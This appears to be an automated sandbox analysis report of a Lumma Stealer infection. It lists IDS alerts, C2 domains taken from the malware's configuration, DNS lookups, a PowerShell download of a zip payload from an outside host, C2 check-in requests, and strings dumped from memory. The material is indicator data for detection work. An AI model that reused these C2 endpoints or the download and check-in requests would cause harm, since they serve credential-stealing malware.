Source: Network traffic	Suricata IDS: 2057658 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs) : 192.168.2.5:63404 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057654 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs) : 192.168.2.5:63153 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49823 -> 172.67.160.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49823 -> 172.67.160.80:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49817 -> 23.55.153.106:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: w0rdergen1.cyou
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs

Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106
Source: Joe Sandbox View	IP Address: 172.66.0.235 172.66.0.235
Source: Joe Sandbox View	IP Address: 172.66.0.235 172.66.0.235

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49829 -> 172.67.160.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49823 -> 172.67.160.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49817 -> 23.55.153.106:443

Source: global traffic	HTTP traffic detected: GET /poltos.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pub-7a0525921ff54f1193db83d7303c6ee8.r2.devConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: marshal-zhukov.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /poltos.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pub-7a0525921ff54f1193db83d7303c6ee8.r2.devConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://twitter.com/share?original_referer=http://www.wisecleaner.com/&source=tweetbutton&text=A simple way to delete files blocked by something you do not know.&url=http://www.wisecleaner.com/&via=wisecleanerSVWU equals www.twitter.com (Twitter)
Source: setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.facebook.com/plugins/likebox.php?href=https://www.facebook.com/wisecleanersoft&width=292&height=62&colorscheme=light&show_faces=false&header=false&stream=false&show_border=true&appId=1387712684775306U equals www.facebook.com (Facebook)
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytim equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev
Source: global traffic	DNS traffic detected: DNS query: w0rdergen1.cyou
Source: global traffic	DNS traffic detected: DNS query: processhol.sbs
Source: global traffic	DNS traffic detected: DNS query: librari-night.sbs
Source: global traffic	DNS traffic detected: DNS query: befall-sm0ker.sbs
Source: global traffic	DNS traffic detected: DNS query: p10tgrace.sbs
Source: global traffic	DNS traffic detected: DNS query: peepburry828.sbs
Source: global traffic	DNS traffic detected: DNS query: owner-vacat10n.sbs
Source: global traffic	DNS traffic detected: DNS query: 3xp3cts1aim.sbs
Source: global traffic	DNS traffic detected: DNS query: p3ar11fter.sbs
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: marshal-zhukov.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: marshal-zhukov.com

Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/275944
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/378067
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/437891.
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/456214
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/510270
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/642141
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/672186).
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/819404
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/932466
Source: resources.pak0.0.dr	String found in binary or memory: http://crbug.com/957772
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://info.wisecleaner.com/messages/index.php?to=checknews&pid=%dU
Source: powershell.exe, 00000000.00000002.2583471088.000001E73BB50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2583471088.000001E73BA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp, rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0?
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BBC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 00000000.00000002.2554907242.000001E72B9A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://service.weibo.com/share/share.php?url=https%3A%2F%2Fwww.wisecleaner.com.cn
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sslcom.crl.certum.pl/ctnca.crl0s
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sslcom.ocsp-certum.com08
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sslcom.repository.certum.pl/ctnca.cer0:
Source: setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.8=
Source: setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cooki
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://tieba.baidu.com/f/commit/share/openShareApi?url=https://www.wisecleaner.com.cn
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BBC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DA30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BE7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp, Register.dll.0.dr	String found in binary or memory: http://www.indyproject.org/
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DACC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.thomaslevesque.com/2009/03/27/wpf-automatically-sort-a-gridview-when-a-column-header-is-c
Source: powershell.exe, 00000000.00000002.2554907242.000001E72C338000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72C2F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72C32E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72C2EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.unicode.org/reporting.html
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.com
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.com/&via=wisecleanerSVWU
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.com/news/w365info.htmU
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.com/software_update/getinfo.php?p_id=7
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.net/install_statistics/index.php?p=install_statistics
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=fetch-unread-message
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=home
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=my-feedback
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=my-feedbackU
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=question
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=upload-fileU
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=write-questionhttp://www.wisecleaner.ne
Source: setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://3xp3cts1aim.sbs:443/api
Source: powershell.exe, 00000000.00000002.2554907242.000001E72B9A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.cw
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: hr.pak.0.dr, am.pak.0.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/entry?template=Safety
